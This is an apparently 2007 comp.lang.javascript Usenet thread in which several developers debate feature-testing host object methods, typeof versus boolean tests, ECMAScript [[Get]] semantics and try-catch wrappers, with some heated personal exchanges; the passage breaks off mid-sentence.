>> Ever seen that code? (Or rather, something close to it). You can feature
>
> Many times.
Then you know the problems with trying to feature test for it.
>> test your head off and IE will pass every one of them. It still falls
>> down on itself when trying to appendChild to a script element. The only
>> way to know it is going to work, or not, in IE is to execute it or
>> detect IE - either through explicit or implicit tests.
>
> I use the canHaveChildren property.
That is implicitly testing, not directly testing though. My point is
simply that no *direct* testing of the properties that are used will
uncover the failure. And, nobody can say if that is the only one or if
there are more. Or, even if there are some places in other browsers with
the same type of problems.
>>> Thomas Lahn seems particularly concerned about these problems (and he
>>> is preparing to tell I am wrong or that I have missed the point.)
>> Remember that you are referring to a person who wrote a 306 line script
>> to do a simple image swap.
>
> I must have missed that one.
<URL: http://pointedears.de/scripts/test/dom/hoverMe/>
The hoverMe-3.0.js file is 306 lines long. To do an image swap.
>> That is part of the problem in this group. People trying to make things
>> more difficult than they have to be simply because some browser back in
>> 1997/1998 won't execute the present day code.
>
> The isHostMethod (nee isFeaturedMethod) function is easy enough to use
> and it is at most two lines long.
Not sure what nee means. But, I searched for isHostMethod and
isFeaturedMethod and it is buried in a 150+ post thread. I didn't keep
up with that thread so not sure exactly what you think the two lines
would be.
>> I also think that trying to detect that failure will mask potential bugs
>> in browsers.
>
> You can't detect it reliably anyway. They could overwrite the method
> with a function or Object object, which would pass muster.
Anybody can break anything if they set out to do it. But, what is the
point in writing a "two line function" that can be trivially defeated?
It makes that function next to useless based on that criteria.
Peter Michaux
I was hoping no one would take my word for it!
In "typeof UnaryExpression" and "if (Expression) Statement" both the
UnaryExpression and the Expression are evaluated first. GetValue is
called on the result of this evaluation. GetValue calls [[Get]].
> > It could be something more along the lines of the ToBoolean that is
> > the problem here instead of a missing [[Get]].
>
> Whether it is a missing [[Get]] or one that deliberately throws errors
> is unclear to me.
I don't think we can every know. It is important to keep in mind that
even a compliant browser doesn't need to have an internal [[Get]] but
must behave as though it does. That means if it is implemented one way
for "typeof" and another way for "if" and there is a bug in one of the
implementations then the behavior will not be as though there is an
internal [[Get]].
> > [[Get]] and ToBoolean are only included in the standard as ways to
> > explain the actual standard.
>
> > > So I don't see what benefit the try clause adds.
>
> > In a practical sense perhaps nothing. There is nothing in the standard
> > that states typeof would catch an error thrown if [[Get]] is missing.
>
> This surprises me as typeof(anUndeclaredIdentifier) doesn't throw an
> error. But then, I suppose it skips the [[Get]] in that case and just
> returns undefined. I'll have to go back and re-read that section.
Evaluation of "anUndeclaredIdentifier" only involves [[HasProperty]]
and when the identifier is undeclared will return a Reference with
Base "null". When the typeof evaluates a reference with Base "null" it
returns "undefined". So according to the standard this should not
throw an error.
> > > However, it does
> > > have the unwanted effect of short-circuiting feature testing in agents
> > > that cannot parse try clauses.
>
> > True.
>
> > The point I was investigating was is if typeof is implemented
> > according to the standard, but other parts of the implementation are
> > non-standard, does typeof guarantee errors will not be thrown? The
>
> From what you have mentioned here (and in the previous post that I
> didn't read thoroughly enough), it is no guarantee. It is simply the
> best practical solution.
>
> > answer seems to be no. In practice it seems to be working. If we are
> > relying on typeof in this way I simply want it noted that there is no
> > theoretical reason why it should work but that it seems to work.
>
> So noted.
>
>
>
> > The additional try-catch would gaurantee that we have the behavior we
> > are looking for of avoiding throwing errors and the reasoning for this
> > would then be included in the standard. That is what try-catch is for.
>
> I guess we need two implementations of that function with appropriate
> warnings.
I think the try-catch implementation should be there but I probably
won't bother using it. Not to support old browsers but there must be
some runtime overhead of try-catch. If there comes a day when typeof
does start throwing an error it will be easy to switch
implementations. I think this sort of depth of investigation reflected
in the documentation is what will make the code truly worth
recommending.
Peter Michaux
> Peter Michaux said the following on 12/15/2007 12:04 AM:
>
> > There have been many threads lately about testing for the existence of
> > host object methods. I have usually just feature tested the existence
> > of host methods with the following
>
> > if (document.getElementById)
>
> var newScript = document.createElement('script');
> newScript.type = "text/javascript";
> var s = document.createTextNode(d[x].text);
> newScript.appendChild(s);
>
> Ever seen that code? (Or rather, something close to it). You can feature
> test your head off
:)
Sometimes I think that when designing a feature test we are just lucky
to find a particular path of feature testing that works. If there were
more browsers with more weird bugs, there may be no path of feature
testing that worked. It may be the only way would be
navigator.userAgent or some other method to determine the browser
rather than test it's features.
> and IE will pass every one of them. It still falls
> down on itself when trying to appendChild to a script element. The only
> way to know it is going to work, or not, in IE is to execute it or
> detect IE - either through explicit or implicit tests.
>
> > There is concern from several people in the group that this is
> > insufficient for at least a couple reasons.
>
> I think it is, in some cases, but for different reasons.
>
> > One reason for concern is the above test does not determine if
> > document.getElementById is callable. No one has reported a case where
> > a browser that has document.getElementById will be non-callable. In
> > some browsers it may be that some other JavaScript has assigned a non-
> > callable value to the the document.getElementById property. In those
> > browsers, it may also be true that someone has assigned a function to
> > document.getElementById. If this has been done then none of the
> > proposed tests would detect that the callable value is not the
> > expected callable value.
>
> And if it is over-written, then isn't the author better off knowing that
> he screwed up rather than trying to get around that?
Yes. If host objects are being overwritten the code is basically
screwed and anything could happen. If somewhere before my code feature
tests for document.getElementById someone has written the following
then I have a detailed feature test to write that is way to paranoid
to consider writing.
document.getElementById = function() {
throw new Error('heheheheeh, gotcha!');
}
> Let's say it is in
> a library that a native function is over-written.
>
> <script src="libraryX.js"></script>
> <script src="libraryY.js"></script>
> <script src="libraryZ.js"></script>
>
> If libraryX over-writes it, then the page author needs to know, as soon
> as possible, that the author of libraryX was smoking weed when he did
> it.
:)
> Trying to compensate for that in libraryY or libraryZ isn't solving
> a problem, only making it transparent so that the real problem doesn't
> get corrected. Don't confuse that with trying to correct bugs in a
> browser (e.g. IE and toFixed).
>
> > Thomas Lahn seems particularly concerned about these problems (and he
> > is preparing to tell I am wrong or that I have missed the point.)
>
> Remember that you are referring to a person who wrote a 306 line script
> to do a simple image swap.
If he can convince his boss that is a good use of time then good for
him.
> That is part of the problem in this group. People trying to make things
> more difficult than they have to be simply because some browser back in
> 1997/1998 won't execute the present day code.
>
> I also think that trying to detect that failure will mask potential bugs
> in browsers.
>
> > Another reason for concern is that even though the host may provide a
> > callable document.getElementById but that when writing just "if
> > (document.getElementById)" it isn't the [[Call]] property the [[Get]]
> > property that is used. David Mark seems to think this is a problem
> > with some (all?) ActiveX objects. All host objects are required to
> > implement [[Get]] so IE is not ECMAScript compliant if it does not. So
> > when we are feature testing host objects we are worried about testing
> > ECMAScript non-compliant browsers.
>
> ActiveX components are different animals and need to be dealt with
> differently.
If ActiveX objects are exposed in a compliant ECMAScript
implementation then they are host objects. Host objects must have
[[Get]]
> As for ECMAScript, we will leave that one alone.
>
> <snip>
>
> > This is a general mess thanks to the possible behaviors of non-
> > compliant browsers.
>
> That is why I have always said "Give me what works, not what some
> standard says". You can write 100% "compliant" code and if it won't
> execute properly in a browser then it is pretty useless, isn't it?
Of course it is and I agree with you.
Suppose there are two ways to write code and they both work in all the
browsers. In addition to this one of them is standards compliant. I
would choose the standards compliant one because the other one
probably only works due to luck or browser bugs. Choosing the
standards compliant way makes sense because hopefully implementations
are moving towards the standard and removing bugs. This is why I was
looking into the standards.
David Mark
> David Mark said the following on 12/15/2007 3:52 PM:
>
> > On Dec 15, 2:51 pm, Randy Webb <HikksNotAtH...@aol.com> wrote:
> >> Peter Michaux said the following on 12/15/2007 12:04 AM:
>
> >>> There have been many threads lately about testing for the existence of
> >>> host object methods. I have usually just feature tested the existence
> >>> of host methods with the following
> >>> if (document.getElementById)
> >> var newScript = document.createElement('script');
> >> newScript.type = "text/javascript";
> >> var s = document.createTextNode(d[x].text);
> >> newScript.appendChild(s);
>
> >> Ever seen that code? (Or rather, something close to it). You can feature
>
> > Many times.
>
> Then you know the problems with trying to feature test for it.
Yes.
>
> >> test your head off and IE will pass every one of them. It still falls
> >> down on itself when trying to appendChild to a script element. The only
> >> way to know it is going to work, or not, in IE is to execute it or
> >> detect IE - either through explicit or implicit tests.
>
> > I use the canHaveChildren property.
>
> That is implicitly testing, not directly testing though. My point is
> simply that no *direct* testing of the properties that are used will
> uncover the failure. And, nobody can say if that is the only one or if
> there are more. Or, even if there are some places in other browsers with
> the same type of problems.
I think it is a very appropriate test for IE. That is what that
property is for.
>
> >>> Thomas Lahn seems particularly concerned about these problems (and he
> >>> is preparing to tell I am wrong or that I have missed the point.)
> >> Remember that you are referring to a person who wrote a 306 line script
> >> to do a simple image swap.
>
> > I must have missed that one.
>
> <URL:http://pointedears.de/scripts/test/dom/hoverMe/>
>
> The hoverMe-3.0.js file is 306 lines long. To do an image swap.
I'll skip that one.
>
> >> That is part of the problem in this group. People trying to make things
> >> more difficult than they have to be simply because some browser back in
> >> 1997/1998 won't execute the present day code.
>
> > The isHostMethod (nee isFeaturedMethod) function is easy enough to use
> > and it is at most two lines long.
>
> Not sure what nee means. But, I searched for isHostMethod and
> isFeaturedMethod and it is buried in a 150+ post thread. I didn't keep
> up with that thread so not sure exactly what you think the two lines
> would be.
The original two lines haven't changed. Take a look at the Code Worth
Recommending project if you want a clearer view of the code discussed
so far (and a lot of proposed code that hasn't yet been discussed.)
>
> >> I also think that trying to detect that failure will mask potential bugs
> >> in browsers.
>
> > You can't detect it reliably anyway. They could overwrite the method
> > with a function or Object object, which would pass muster.
>
> Anybody can break anything if they set out to do it. But, what is the
> point in writing a "two line function" that can be trivially defeated?
The point is that it is far better than feature testing like this:
if (document.getElementById) {
...
}
The main enhancements are that it doesn't blow up on ActiveX objects,
isn't fooled by overwriting host methods with true, 1, etc. and allows
for simplified gateway code with centralized testing logic. Writing
similar code over and over would bloat applications and make for
future maintenance headaches (assuming a browser comes out in the
future and breaks something in an unforeseen way.)
VK
> > > Your browser is drunken cowboy that shoots parrots and squids in
> > > fields of red and blue flowers and vice versa.
>
> > OK... If the "Thomas' concern" may be possibly solved by
> > programmatical means then "David's concern" seems out the knowledge
> > of c.l.j. He really concerns me now... not his concern...
>
> Sorry, I didn't have an English to VK dictionary handy. To avoid
> future confusion, perhaps you should create and post in a new group:
> comp.lang.javascript.vk. If you don't know how to do this, I'm sure
> somebody here will volunteer to help.
If someone does know Javascript well enough then she doesn't need to
run for sorry excuses of the type. Who does not - then of course she
needs the sorry excuses. A sample is just a bit above.
To break the impression you have produced so far you still may try to
explain what "missing [[Get]] for ActiveX objects" is. You don't have
to use English at all for that: just a snippet of code with //!?
comment right-hand side of the weak - by your opinion - code.
It is a Usenet group, not a development team billboard, so any code or
argumentation outside of the current thread should be linked or
quoted. No one has to read all posts of yours for the last X days in
all threads just to be able to understand what are talking about.
David Mark
[snip]
> quoted. No one has to read all posts of yours for the last X days in
> all threads just to be able to understand what are talking about.
All you have to do is read this thread, which should be a prerequisite
to posting in any thread.
Thomas 'PointedEars' Lahn
> [...] Thomas Lahn seems particularly concerned about these problems (and
> he is preparing to tell I am wrong or that I have missed the point.)
Yes, I am. *eg*
> Another reason for concern is that even though the host may provide a
> callable document.getElementById but that when writing just "if
> (document.getElementById)" it isn't the [[Call]] property the [[Get]]
> property that is used. David Mark seems to think this is a problem with
> some (all?) ActiveX objects. All host objects are required to implement
> [[Get]] so IE is not ECMAScript compliant if it does not.
You miss the point. (See? ;-)) Host objects need to implement [[Get]],
but they do not need to implement it in the way that is defined in the
ECMAScript Specification. IOW, they may throw an exception as well.
| 8.6.2 Internal Properties and Methods
|
| [...]
| Every object (including host objects) must implement the [[Prototype]]
| and [[Class]] properties and the [[Get]], [[Put]], [[CanPut]],
| [[HasProperty]], [[Delete]], and [[DefaultValue]] methods. [...]
|
| [...]
| For native objects the [[Get]], [[Put]], [[CanPut]], [[HasProperty]],
| [[Delete]] and [[DefaultValue]] methods behave as described in described
| in sections 8.6.2.1, 8.6.2.2, 8.6.2.3, 8.6.2.4, 8.6.2.5 and 8.6.2.6,
| respectively, except that Array objects have a slightly different
| implementation of the [[Put]] method (section 15.4.5.1). Host objects may
^^^^^^^^^^^^^^^^
| implement these methods in any manner unless specified otherwise; for
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| example, one possibility is that [[Get]] and [[Put]] for a particular host
| object indeed fetch and store property values but [[HasProperty]] always
| generates false.
|
| In the following algorithm descriptions, assume O is a native ECMAScript
^^^^^^^^^^^^^^^^^^^^^^^^
| object and P is a string.
^^^^^^
|
| 8.6.2.1 [[Get]] (P)
| [...]
> So when we are feature testing host objects we are worried about testing
> ECMAScript non-compliant browsers.
Quite the opposite.
> [...] Both
>
> if (document.getElementById)
>
> and
>
> typeof document.getElementById
>
> are described as calling [[Get]] somewhere in their evaluation.
It is important where that "somewhere" is:
| 8.7.1 GetValue (V)
|
| 1. If Type(V) is not Reference, return V.
| 2. Call GetBase(V).
| 3. If Result(2) is null, throw a ReferenceError exception.
| 4. Call the [[Get]] method of Result(2), passing GetPropertyName(V)
| for the property name.
| 5. Return Result(4).
|
| [...]
| 11.4.3 The typeof Operator
|
| The production UnaryExpression : typeof UnaryExpression is evaluated as
| follows:
|
| 1. Evaluate UnaryExpression.
| 2. If Type(Result(1)) is not Reference, go to step 4.
| 3. If GetBase(Result(1)) is null, return "undefined".
| 4. Call GetValue(Result(1)).
| 5. Return a string determined by Type(Result(4)) according to the
| following table:
| [...]
> If a browser really did not supply the [[Get]] property at all for
> an object then both likely throw an error and probably a TypeError.
Non sequitur.
HTH
PointedEars
--
var bugRiddenCrashPronePieceOfJunk = (
navigator.userAgent.indexOf('MSIE 5') != -1
&& navigator.userAgent.indexOf('Mac') != -1
) // Plone, register_function.js:16
VK
> All you have to do is read this thread, which should be a
> prerequisite to posting in any thread.
I was talking only about "Thomas' concern" so far. As by "David's
concern" I see only one so far:
http://groups.google.com/group/comp.lang.javascript/msg/caaacf270455e2c0
btw the method name is "AddFavorite" not "addFavorite":
http://msdn2.microsoft.com/en-us/library/ms535926.aspx
but the method name is of a VB written ActiveX object so case-
insensitive. One may use it even as window.external.addfaVorite(URL)
with no problem. That alone properly suggests what you are behind any
jurisdiction of Javascript.
And again coming back to the first, "Thomas' concern", even if a
workaround found, how does it protect from say:
window.external = {
'AddFavorite' : function() {
return true;
}
}
You should really re-spell the task you are trying to achieve. Do you
want some xtypeof guarantees to say true or false on "is callable"
request and these true and false are always right? You cannot do that
for 100% of situations, even if you spend the rest of your lives on
programming typeof wrappers. Do you agree on some lesser universal
compromise? If yes then what would it be?
Peter Michaux
wrote:
> Peter Michaux wrote:
> > [...] Thomas Lahn seems particularly concerned about these problems (and
> > he is preparing to tell I am wrong or that I have missed the point.)
>
> Yes, I am. *eg*
>
> > Another reason for concern is that even though the host may provide a
> > callable document.getElementById but that when writing just "if
> > (document.getElementById)" it isn't the [[Call]] property the [[Get]]
> > property that is used. David Mark seems to think this is a problem with
> > some (all?) ActiveX objects. All host objects are required to implement
> > [[Get]] so IE is not ECMAScript compliant if it does not.
>
> You miss the point. (See? ;-)) Host objects need to implement [[Get]],
They don't. They need to behave as though the implement [[Get]]. See
section 8.6.3 in ES3. That is the point. If two parts of the spec
require [[Get]] then in an implementation they may not necessarily be
calling the same little bit of internal code to achieve the behavior
of [[Get]]. For example, the algorithm may be inlined in one place for
optimization. A bug in one of these bits of code that adds the [[Get]]
behavior may result in the behavior we are discussiong where "if
(document.getElementById)" could error but "typeof
document.getElementById" may not error
> but they do not need to implement it in the way that is defined in the
> ECMAScript Specification. IOW, they may throw an exception as well.
True. This suggests wrapping the feature testing in try-catch is a
good idea, if the desired behavior is to avoid thrown errors being
visible to the user.
[snip]
Thomas 'PointedEars' Lahn
> [...] Thomas 'PointedEars' Lahn [...] wrote:
>> Peter Michaux wrote:
>>> [...] Thomas Lahn seems particularly concerned about these problems (and
>>> he is preparing to tell I am wrong or that I have missed the point.)
>> Yes, I am. *eg*
>>
>>> Another reason for concern is that even though the host may provide a
>>> callable document.getElementById but that when writing just "if
>>> (document.getElementById)" it isn't the [[Call]] property the [[Get]]
>>> property that is used. David Mark seems to think this is a problem with
>>> some (all?) ActiveX objects. All host objects are required to implement
>>> [[Get]] so IE is not ECMAScript compliant if it does not.
>> You miss the point. (See? ;-)) Host objects need to implement [[Get]],
>
> They don't.
Yes, they do. That is explicitly stated by the Specification, as I pointed
out in the part that you snipped.
> They need to behave as though the implement [[Get]].
That is a matter of interpretation. Do host objects implement [[Get]] if
their [[Get]] implementation differs from what is specified in the [[Get]]
subsection of ECMAScript, as it is explicitly allowed by ECMAScript for its
conforming implementations? I say yes.
>> but they do not need to implement it in the way that is defined in the
>> ECMAScript Specification. IOW, they may throw an exception as well.
>
> True. This suggests wrapping the feature testing in try-catch is a
> good idea, if the desired behavior is to avoid thrown errors being
> visible to the user.
Hardly. try..catch may throw its own errors for the UAs where
feature-testing would prevent all errors there otherwise.
Thomas 'PointedEars' Lahn
> [...] Thomas 'PointedEars' Lahn [...] wrote:
>> You miss the point. (See? ;-)) Host objects need to implement [[Get]],
>
> They don't. They need to behave as though the implement [[Get]]. See
There is no such section in the final revision of ECMA-262 Edition 3.
PointedEars
--
Anyone who slaps a 'this page is best viewed with Browser X' label on
a Web page appears to be yearning for the bad old days, before the Web,
when you had very little chance of reading a document written on another
computer, another word processor, or another network. -- Tim Berners-Lee
David Mark
> On Dec 16, 6:35 pm, David Mark <dmark.cins...@gmail.com> wrote:
>
> > All you have to do is read this thread, which should be a
> > prerequisite to posting in any thread.
>
> I was talking only about "Thomas' concern" so far. As by "David's
> concern" I see only one so far:http://groups.google.com/group/comp.lang.javascript/msg/caaacf270455e2c0
>
> btw the method name is "AddFavorite" not "addFavorite":http://msdn2.microsoft.com/en-us/library/ms535926.aspx
>
Actually, it is either. Though I typically use addFavorite.
> but the method name is of a VB written ActiveX object so case-
> insensitive. One may use it even as window.external.addfaVorite(URL)
Thank you.
> with no problem. That alone properly suggests what you are behind any
> jurisdiction of Javascript.
Whatever that means.
> And again coming back to the first, "Thomas' concern", even if a
> workaround found, how does it protect from say:
>
> window.external = {
> 'AddFavorite' : function() {
> return true;
> }
>
> }
You don't. Case closed on that.
>
> You should really re-spell the task you are trying to achieve. Do you
No I shouldn't.
> want some xtypeof guarantees to say true or false on "is callable"
> request and these true and false are always right? You cannot do that
> for 100% of situations, even if you spend the rest of your lives on
> programming typeof wrappers. Do you agree on some lesser universal
> compromise? If yes then what would it be?
How can you possibly not understand what the two-line function does
and does not do at this point. It boggles the mind.
Peter Michaux
wrote:
> Peter Michaux wrote:
> > [...] Thomas 'PointedEars' Lahn [...] wrote:
> >> Peter Michaux wrote:
> >>> [...] Thomas Lahn seems particularly concerned about these problems (and
> >>> he is preparing to tell I am wrong or that I have missed the point.)
> >> Yes, I am. *eg*
>
> >>> Another reason for concern is that even though the host may provide a
> >>> callable document.getElementById but that when writing just "if
> >>> (document.getElementById)" it isn't the [[Call]] property the [[Get]]
> >>> property that is used. David Mark seems to think this is a problem with
> >>> some (all?) ActiveX objects. All host objects are required to implement
> >>> [[Get]] so IE is not ECMAScript compliant if it does not.
> >> You miss the point. (See? ;-)) Host objects need to implement [[Get]],
>
> > They don't.
>
> Yes, they do. That is explicitly stated by the Specification, as I pointed
> out in the part that you snipped.
Read the first paragraph of 8.6.2. The internal properties are not
part of the language and are not required. What is required is the
implementation behaves as though the internal properties are used.
> > They need to behave as though the implement [[Get]].
>
> That is a matter of interpretation.
No. Read the third sentence of 8.6.2.
> Do host objects implement [[Get]] if
> their [[Get]] implementation differs from what is specified in the [[Get]]
> subsection of ECMAScript, as it is explicitly allowed by ECMAScript for its
> conforming implementations?
The specification is particularly weak in this area.
> I say yes.
That is what the second to last sentence of 8.6.2 says. It does seem
to contradict the first paragraph of 8.6.2.
> >> but they do not need to implement it in the way that is defined in the
> >> ECMAScript Specification. IOW, they may throw an exception as well.
>
> > True. This suggests wrapping the feature testing in try-catch is a
> > good idea, if the desired behavior is to avoid thrown errors being
> > visible to the user.
>
> Hardly. try..catch may throw its own errors for the UAs where
> feature-testing would prevent all errors there otherwise.
try-catch may throw syntax errors in non-compliant browsers and in a
practical sense all old browsers. Internal properties would throw
runtime errors which would be more frequent (every user interaction)
and this could occur in compliant and current/future browsers.
There is no magic bullet.
David Mark
I disagree with that for most cases. This is only useful for
applications and enhancements that are known to be 100% incompatible
with browsers that cannot parse try-catch. In any event, script
errors are not the most graceful way to degrade.
As there are no known agents that throw script errors in the
isHostMethod or isRealObjectProperty functions, it would seem that
adding a try-catch protects against potential problems with future
agents, but at the cost of throwing real errors in older ones.
Doesn't really matter though as we can just have two versions in the
repository. It should be noted in the documentation when a specific
implementation features a try-catch clause. AFAIK, there is only the
Ajax wrapper and one implementation of urlencode so far.
VK
> > And again coming back to the first, "Thomas' concern", even if a
> > workaround found, how does it protect from say:
>
> > window.external = {
> > 'AddFavorite' : function() {
> > return true;
> > }
>
> > }
> You don't. Case closed on that.
Closed by who? Please do not mix a ticket case on a support desk with
a Usenet thread. Anyone can start one. No one rule it, though OP
author's asks are usually getting more attention then others. If you
cannot agree with that then you should work on a moderated project
site instead.
> > You should really re-spell the task you are trying to achieve. Do
> No I shouldn't.
Yes you should: again, if you are planning to work in the Usenet. Up
till now in the the thread I see only Peter's formulation of your
concerns in his OP. From your side I see nothing but two isolated
lines of code at
http://groups.google.com/group/comp.lang.javascript/msg/caaacf270455e2c0
- minus "drunk cowboys", "flowers" etc.
If you have anything to discuss with the community then do it. If
everything is clear to yourself and all cases are closed then why are
you keep posting at c.l.j. ?
> > want some xtypeof guarantees to say true or false on "is callable"
> > request and these true and false are always right? You cannot do that
> > for 100% of situations, even if you spend the rest of your lives on
> > programming typeof wrappers. Do you agree on some lesser universal
> > compromise? If yes then what would it be?
> How can you possibly not understand what the two-line function does
> and does not do at this point. It boggles the mind.
Again, two lines in where? in Peter's code? Which ones? Your own code
- I mean posted from your name - I have found in this thread consists
of
> This does not throw an error. Example:
>
> (typeof window.external.addFavorite)
>
> Evaluates to "unknown"
>
> (window.external.addFavorite)
>
> Throws an error in IE.
Are these "two lines of code" you are talking about? Something else?
Can you stop pretending to be Mr. Very Mysterious Man for a second?
For the error on window.external.addFavorite then of couse it throws
exception. Who the hey would decide to try to apply JavaScript type
conversion rules on a VB chunk of code? That one of rules of higher
level programming: do not relay on boolean type conversions. They are
great for quick-n'-dirty coding and I use them a lot. But to play on
the safe side the rule changes: "you need a boolean check - so use
boolean values".
if (('external' in window) &&
('AddFavorite' in window.external)) {
// keep wasting your time
// until spuffed
}
else {
// you are lucky or
// finally spuffed so
// start to do something
// useful
}
Thomas 'PointedEars' Lahn
> [...] Thomas 'PointedEars' Lahn [...] wrote:
>> Peter Michaux wrote:
>>> [...] Thomas 'PointedEars' Lahn [...] wrote:
>>>> Peter Michaux wrote:
>>>>> [...] Thomas Lahn seems particularly concerned about these
>>>>> problems (and he is preparing to tell I am wrong or that I have
>>>>> missed the point.)
>>>> Yes, I am. *eg*
>>>>> Another reason for concern is that even though the host may
>>>>> provide a callable document.getElementById but that when writing
>>>>> just "if (document.getElementById)" it isn't the [[Call]]
>>>>> property the [[Get]] property that is used. David Mark seems to
>>>>> think this is a problem with some (all?) ActiveX objects. All
>>>>> host objects are required to implement [[Get]] so IE is not
>>>>> ECMAScript compliant if it does not.
>>>> You miss the point. (See? ;-)) Host objects need to implement
>>>> [[Get]],
>>> They don't.
>> Yes, they do. That is explicitly stated by the Specification, as I
>> pointed out in the part that you snipped.
>
> Read the first paragraph of 8.6.2. The internal properties are not part
> of the language
True:
| 8.6.2 Internal Properties and Methods
|
| Internal properties and methods are not part of the language. They are
| defined by this specification purely for expository purposes. An
| implementation of ECMAScript must behave as if it produced and operated
| upon internal properties in the manner described here.
However, ...
> and are not required.
... that, in its absolute, is wrong.
> What is required is the implementation behaves as though the internal
> properties are used.
You misunderstand. By the Specification's stating that they are "not part
of the language" it is meant that they are not available for code written
in/for implementations. You won't be able to call O[[Get]](), for example.
Therefore, the Specification says below that:
| Every object (including host objects) must implement the [[Prototype]]
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| and [[Class]] properties and the [[Get]], [[Put]], [[CanPut]],
| [[HasProperty]], [[Delete]], and [[DefaultValue]] methods.
|
| [...] Host objects may implement these methods in any manner unless
^^^ ^^^^^^^^^^^^^
| specified otherwise; [...]
The bottom line is: Host objects may implement these methods in any manner.
But they *do* need to implement them.
>>> They need to behave as though the implement [[Get]].
>> That is a matter of interpretation.
>
> No. Read the third sentence of 8.6.2.
Read 8.6.2 yourself, again. And this time you should read the most recent
revision.
>> Do host objects implement [[Get]] if their [[Get]] implementation
>> differs from what is specified in the [[Get]] subsection of ECMAScript,
>> as it is explicitly allowed by ECMAScript for its conforming
>> implementations?
>
> The specification is particularly weak in this area.
Because your ability of misunderstanding it?
>> I say yes.
>
> That is what the second to last sentence of 8.6.2 says. It does seem to
> contradict the first paragraph of 8.6.2.
But it does not.
>>>> but they do not need to implement it in the way that is defined in
>>>> the ECMAScript Specification. IOW, they may throw an exception as
>>>> well.
>>> True. This suggests wrapping the feature testing in try-catch is a
>>> good idea, if the desired behavior is to avoid thrown errors being
>>> visible to the user.
>> Hardly. try..catch may throw its own errors for the UAs where
>> feature-testing would prevent all errors there otherwise.
>
> try-catch may throw syntax errors in non-compliant browsers and in a
> practical sense all old browsers.
Maybe you should stop constraining the use of ECMAScript applications to
browsers. However, it will break in any UA that has a script engine that
does not implement try..catch. Whether that UA is "old" is irrelevant.
Exception handling was among the newest language features that were
implemented. It can not be expected to be supported.
> Internal properties would throw runtime errors which would be more
> frequent (every user interaction) and this could occur in compliant
> and current/future browsers.
Sorry, you miss the point.
> There is no magic bullet.
I never said there were. But wrapping feature tests in try...catch blocks
(currently) works (because of its error-proneness) against the purpose and
intention of feature-testing, not in favor of it.
PointedEars
Richard Cornford
> On Dec 16, 4:30 am, David Mark wrote:
>> VK wrote:
>>> David Mark wrote:
>>>> Your browser is drunken cowboy that shoots parrots and
>>>> squids in fields of red and blue flowers and vice versa.
>>
>>> OK... If the "Thomas' concern" may be possibly solved by
>>> programmatical means then "David's concern" seems out
>>> the knowledge of c.l.j. He really concerns me now... not
>>> his concern...
>>
>> Sorry, I didn't have an English to VK dictionary handy.
Such a document would imply a relationship that was consistent over
time,. That does not seem a realistic expectation.
>> To avoid future confusion, perhaps you should create and
>> post in a new group: comp.lang.javascript.vk. If you
>> don't know how to do this, I'm sure somebody here will
>> volunteer to help.
>
> If someone does know Javascript well enough then she
> doesn't need to run for sorry excuses of the type. Who
> does not - then of course she needs the sorry excuses. A
> sample is just a bit above.
A reasonable test of whether someone knows what they are talking about
is to ask them what they mean and see if they answer (at all, or
meaningfully). In this thread you have been asked to explain what you
mean and you have refused to do so. Anyone who did not already know you
might then reasonably conclude that you do not know what you are talking
about. The rest of already know that your incoherent gibbering is a
direct reflection on your mental processes and so can see that there is
no clearer explanation to be given.
> To break the impression you have produced so far you
> still may try to explain what "missing [[Get]] for
> ActiveX objects" is.
No explanation is necessary. It is an explanation for the fact that
value retrieval operations throw exceptions. That the absence of an
internal [[Get]] method is not the only explanation, and not necessarily
the best explanation, has already been discussed.
> You don't have to use English at all for that: just a snippet
> of code with //!? comment right-hand side of the weak - by
> your opinion - code.
That code has been posted in this thread, followed by the assertion that
it would throw an exception in IE. You inability to recognise that does
not mean it has not happend.
> It is a Usenet group, not a development team billboard,
> so any code or argumentation outside of the current thread
> should be linked or quoted.
You want links? Yes, lets have some links. Lets start with seeing how
good a programmer the person who started a post in this thread with the
words "A really good program/programmer must ... " actually is:-
Do you remember your 'Vector' effort:-
<URL:
http://groups.google.com/group/comp.lang.javascript/msg/2820fbcd4b4ab7f8
>
- the one that received the accolade "It uses the most bizarre and
obtuse storage method I've ever witnessed, and it uses it inconsistently
and without any obvious benefits."
And how, embarrassed by that you tired to show off with another
version:-
<URL:
http://groups.google.com/group/comp.lang.javascript/msg/2820fbcd4b4ab7f8
>
- that turned out to be more of a data mangling object than a data
storage object, and took someone else's efforts to fix. An example that
speaks to not only to the depth of your understanding of the code you
write but also to your abilities in the area of testing your own code as
you posted unaware of how totally flawed it was.
There was that 'rounding' function that did not even manage to output
its resutls with the correct number of decimal places in some cases (let
alone get the decimal digits in that output even close to anyone's
expected results):-
<URL:
http://groups.google.com/group/comp.lang.javascript/msg/2f869add6d8dfcad
>
- That was the own that you were still declaring the 'superiority' of
after its faults had started to be pointed out.
Then there was your test code to see if an object was an Array or not,
about which you said "This code as absolutely robust (there is no way to
cheat on it)":-
<URL:
http://groups.google.com/group/comp.lang.javascript/msg/a2c2f69c6d9004ba
>
- regardless of the facts that it both could be 'cheated' (using
standard ECMA 262 3rd Ed. code) and that it modified the length every
Array that was tested with it).
This Array test also highlights your grasp of javascript as a langue,
when you demonstrated your misconception of how the - delete - operator
works (and you claim to have nearly 10 years 'experience' with the
language):-
<URL:
http://groups.google.com/group/comp.lang.javascript/msg/a2c2f69c6d9004ba
>
But that misconception was no suppose given your record, and assertions
like "the entire method call must be one line":-
<URL:
http://groups.google.com/group/comp.lang.javascript/msg/90f1379769c5a2ec
>
- and code like:-
<URL:
http://groups.google.com/group/comp.lang.javascript/msg/5ad2b7796f36339b
>
- along with so very much else over the years.
Eventually we come to browser scripting, and your ability to understand
the browser environment (and so your analytical abilities in general),
and so to this:-
<URL:
http://groups.google.com/group/comp.lang.javascript/msg/b6e5bfd65e6813af
>
- for example, or my personal favourite where you used the words "as
usual 2 months of experiments are defited by one specs reading..." to
criticise someone for suggesting that Mozilla/Firefox/Gecko browsers
supported the - document.styleSheets - object:-
<URL:
http://groups.google.com/group/comp.lang.javascript/browse_frm/thread/d9618e13b38a7605/ >
- which, of course, they do, and have done for a very considerable time.
Meaning that the analysis employed in your "2 months of experiments" had
been so fundamentally faulty as to leave you knowing less at the end of
the process than you had at the beginning.
We end up with the question; how can anyone sane be so very obviously
bad a programming, logic and analysis, be presented with so much
evidence of that, and still think of themselves as being in a position
